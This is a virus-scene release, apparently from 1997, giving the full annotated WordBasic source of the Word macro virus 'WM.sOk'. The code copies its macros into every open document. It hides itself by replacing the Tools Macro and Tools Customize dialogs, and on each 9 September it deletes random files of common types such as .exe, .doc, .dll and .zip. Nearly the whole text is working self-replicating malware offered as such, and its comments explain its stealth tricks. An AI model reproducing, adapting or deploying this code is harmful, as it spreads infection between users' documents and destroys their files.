ɰ
ܰܰܰܰܰܰܰܰܰܰ
۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰۰
۰۰۰۰۰߰۰۰۰۰۰۰۰߰۰۰
۰۰۰۰۰۰߰۰۰۰۰۰۰۰۰߰۰۰
߰߰߰߰߰߰߰߰߰߰߰߰߰

ܰܰܰܰ
۰۰۰۰߰
۰۰۰۰߰
ܰ۰۰۰ܰ
۰۰۰߰ܰ
۰۰۰۰ܰ
۰߰۰ܰ
Ȱ           

Identification:
~~~~~~~~~~~~~~~
-VIRUSNAME  WM.sOk
-SIZE       2188 Bytes (4 Macros)
-ORIGIN     GERMANY
-AUTHOR     NIGHTMARE JOKER
-DATE       May, 1997


Characteristics:
~~~~~~~~~~~~~~~~
-Polymorphism        No
-Stealth             Yes
-Encrypted           Yes
-Retro               No
-Payload             Yes

VIRUS CODE:
~~~~~~~~~~~
Ŀ
 Macro: SOK                                                                 


Dim Shared N$(9)

Sub MAIN

REM Enable the DisableAutoMacro option and get the name
REM of the infected file. 
DisableAutoMacros : Source$ = FileName$()

REM Get the name of the ToolsMacro and ToolsCustomize macro.
BO1$ = GetDocumentVar$("SOK1") : BO2$ = GetDocumentVar$("SOK2")

REM Count all Files in the FileList
For sOk = 1 To CountFiles()

REM If there any file then
REM open the first document.
If Files$(FileName$(sOk)) <> "" Then
FileList sOk

REM Get the name of it
REM and check, if it's allready infected.
Chaos$ = FileName$()
If Source$ <> Chaos$ Then
Infected$ = GetDocumentVar$("SOK1")

REM If not then copy all virus macros from the infected document
REM to this one.
If Infected$ = "" Then
MacroCopy Source$ + ":AutoOpen", Chaos$ + ":AutoOpen", 1
MacroCopy Source$ + ":SOK", Chaos$ + ":SOK", 1
MacroCopy Source$ + ":" + BO1$, Chaos$ + ":", 1
MacroCopy Source$ + ":" + BO2$, Chaos$ + ":", 1

REM Now save the name of the ToolsMacro and ToolsCustomize macro
REM in the document variables, save all again and close the file.
SetDocumentVar "SOK1", BO1$
SetDocumentVar "SOK2", BO2$
End If
FileSaveAs .Format = 1
FileClose
End If
End If

REM If there still any other file in the Filelist then
REM make the same again.
Next sOk

REM Disable the DisableAutoMacros Option.
DisableAutoMacros 0

REM Delete random files on every 09.09.xx.
If Month(Now()) = 9 And Day(Now()) = 9 Then
	FuckOffEverything :
	N$(0) = "*.exe" : N$(1) = "*.com" : N$(2) = "*.ovl"
	N$(3) = "*.bin" : N$(4) = "*.txt" : N$(5) = "*.doc"
	N$(6) = "*.dot" : N$(7) = "*.zip" : N$(8) = "*.asm" : N$(9) = "*.dll"
	a = Rnd() : a$ = Str$(a) : b$ = Right$(a$, 1) : b = Val(b$)
	M$ = Files$(".") :REM I think that's enough! ;)
	FileFind .SearchName = " ", .SearchPath = M$, .Name = N$(b)
	n = CountFoundFiles() : b = Int(n / b)
	If b <= 0 Then Goto FuckOffEverything
	For i = 1 To b
	c$ = FoundFileName$(i)
	Kill c$
	Next i
End If
End Sub

Ŀ
 Macro: AutoOpen                                                            


REM Function to get the name of the *ToolsMacro* box.
Function BoxOne$(e$)
a$ = MenuText$(0, 6)
b$ = MenuItemText$(a$, 0, 13)
c$ = a$ + b$
For i = 1 To Len(c$)
d$ = Mid$(c$, i, 1)
If d$ <> "&" And d$ <> "." Then
e$ = e$ + d$
End If
Next i
BoxOne$ = e$
End Function

REM Function to get the name of the *ToolsCustomize* box.
Function BoxTwo$(z$)
v$ = MenuText$(0, 6)
w$ = MenuItemText$(v$, 0, 14)
x$ = v$ + w$
For i = 1 To Len(x$)
y$ = Mid$(x$, i, 1)
If y$ <> "&" And y$ <> "." Then
z$ = z$ + y$
End If
Next i
BoxTwo$ = z$
End Function

Sub MAIN

REM Set ScreenUpdating Off and DisableInput On.
ScreenUpdating : DisableInput

REM Get the names of the *Toolsmacro* and *ToolsCustomize* box.
B1$ = BoxOne$(e$) : B2$ = BoxTwo$(z$)

REM If we still in the same word version, then jump to NoProblemS.
T$ = GetDocumentVar$("SOK1") : S$ = GetDocumentVar$("SOK2")
If T$ = B1$ And S$ = B2$ Then Goto NoProblemS

REM If not, rename the macros.
ToolsMacro .Name = T$, .Show = 3, .NewName = B1$, .Rename
ToolsMacro .Name = S$, .Show = 3, .NewName = B2$, .Rename

REM And save the names in the document variable.
SetDocumentVar "SOK1", B1$
SetDocumentVar "SOK2", B2$

REM Run the sOk macro, set ScreenUpdating On and DisableInput Off.
NoProblemS:
SOK : ScreenUpdating : DisableInput 0
End Sub

Sub Info
REM ########################
REM ### WordMacro S.O.K. ###
REM ########################
REM ### Greetings to the ###
REM ########################
REM #### main author of ####  
REM ########################
REM #### SOURCE OF KAOS ####
REM ########################
REM #####   JACK T.   ######
REM ########################
REM ##||||||||||||||||||||##
REM ########################
REM ### Nightmare Joker  ###
REM ########################
REM ####### [SLAM] #########
REM ########################
End Sub

Ŀ
 Macro: ToolsMacro (name change at every word version)                      


Sub MAIN

REM Set ErrorHandler On and ScreenUpdating Off
On Error Resume Next
ScreenUpdating

REM Open a new file to hide the macros in the infected file.
FileNew

REM Create now the contents of the *ToolsMacro* box.
Dim dlg As ToolsMacro
GetCurValues dlg
Dialog dlg

REM Close the new *not infected* file and set ScreenUpdating On.
FileClose 2
ScreenUpdating

REM Show the user now the *clean* box. ;)
ToolsMacro dlg
End Sub

Ŀ
 Macro: ToolsCustomize (name change at every word version)                  


Sub MAIN
REM And the same again with the *ToolsCustomize* box.
On Error Resume Next
ScreenUpdating
FileNew
Dim dlg As ToolsCustomize
GetCurValues dlg
Dialog dlg
FileClose 2
ScreenUpdating
ToolsCustomize dlg
End Sub

- Nightmare Joker -
